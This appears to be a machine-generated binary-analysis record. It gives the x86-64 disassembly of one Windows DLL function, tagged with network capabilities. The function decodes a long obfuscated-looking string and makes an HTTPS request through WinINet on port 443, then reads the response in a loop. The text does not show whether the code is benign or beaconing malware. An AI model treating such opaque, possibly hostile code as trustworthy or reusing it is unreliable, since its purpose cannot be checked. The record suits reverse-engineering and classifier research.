Function at 0x180005de0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3e0]
sub rsp, 0x4e0
mov rax, qword [0x1800801d8]
xor rax, rsp
mov qword [rbp + 0x3d0], rax
mov rsi, r8
mov r14, rcx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x78], r8
mov r15, qword [rbp + 0x448]
xor r13d, r13d
mov dword [rsp + 0x40], r13d
mov qword [rcx], r13
mov qword [rcx + 0x10], r13
mov qword [rcx + 0x18], 0xf
mov byte [rcx], r13b
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], r13b
mov r8d, 0x98
lea rdx, str.Qm8JXlaE7XdancWuqFEUzozWMlhPjt31O9prfuet8_u2PZUXj9sF7LYXDpVkj7rafwwrgGj6kdAIVE974jRT11Sd0uuDp5FFzb0NaNrAjjEDNykomTM4vLLgx8Z4COdZptonjYtdB__vWVH06MUsg
lea rcx, [rsp + 0x48]
call fcn.18000eef0
nop
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x58]
call fcn.180003750
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x180005ec5
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005ec0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006207
call fcn.180028d10
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
lea rcx, [rbp - 0x58]
mov r9, qword [rbp - 0x58]
mov r10, qword [rbp - 0x40]
cmp r10, 0x10
cmovae rcx, r9
mov rdi, qword [rbp - 0x48]
add rdi, rcx
lea rbx, [rbp - 0x58]
cmp r10, 0x10
cmovae rbx, r9
mov qword [rbp - 0x78], r13
mov rcx, r13
mov qword [rbp - 0x68], rcx
mov r8d, 7
mov qword [rbp - 0x60], r8
mov word [rbp - 0x78], r13w
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x180005f41
lea rcx, [rbp - 0x78]
call fcn.1800111d0
mov rcx, r13
mov qword [rbp - 0x68], rcx
mov r10, qword [rbp - 0x40]
mov r9, qword [rbp - 0x58]
mov r8, qword [rbp - 0x60]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x70], rax
cmp rbx, rdi
je 0x180005fa5
nop
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x180005f7b
lea rax, [rcx + 1]
mov qword [rbp - 0x68], rax
lea rax, [rbp - 0x78]
cmp r8, 8
cmovae rax, qword [rbp - 0x78]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r13w
jmp 0x180005f8b
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x78]
call fcn.180011340
inc rbx
cmp rbx, rdi
je 0x180005f9d
mov r8, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x68]
jmp 0x180005f50
mov r10, qword [rbp - 0x40]
mov r9, qword [rbp - 0x58]
lea rcx, [rbp - 0x58]
cmp r10, 0x10
cmovae rcx, r9
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x180005fd4
mov rdx, qword [rsi]
mov r8d, 0x1bb
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r12, rax
lea r9, [rbp - 0x78]
cmp qword [rbp - 0x60], 8
cmovae r9, qword [rbp - 0x78]
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], 0x4843700
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r8, r15
lea rdx, [0x18006ecc8]
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov rbx, rax
mov dword [rsp + 0x20], r13d
lea r9, [0x18006e88b]
mov r8d, 8
lea rdx, [0x18006eca0]
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpSendRequestW]
lea r9, [rbp - 0x80]
mov r8d, 0x3ff
lea rdx, [rbp - 0x30]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1800060d1
mov eax, dword [rbp - 0x80]
test eax, eax
je 0x1800060d1
cmp rax, 0x400
jae 0x180006213
mov byte [rbp + rax - 0x30], 0
lea rax, [rbp - 0x30]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800060a0
lea rdx, [rbp - 0x30]
mov rcx, r14
call fcn.18000f050
lea r9, [rbp - 0x80]
mov r8d, 0x3ff
lea rdx, [rbp - 0x30]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x180006078
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 8
jb 0x18000612d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006128
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000620d
call fcn.180028d10
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], 7
mov word [rbp - 0x78], r13w
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x180006179
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006174
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800061fb
call fcn.180028d10
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x1800061bf
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x1800061ba
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180006201
mov rcx, r8
call fcn.180028d10
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rax, r14
mov rcx, qword [rbp + 0x3d0]
xor rcx, rsp
call fcn.180028cf0
mov rbx, qword [rsp + 0x528]
add rsp, 0x4e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.18003a2c8
nop
call fcn.18003a2c8
nop
call fcn.18003a2c8
int3
call fcn.18003a2c8
nop
call fcn.180029224
int3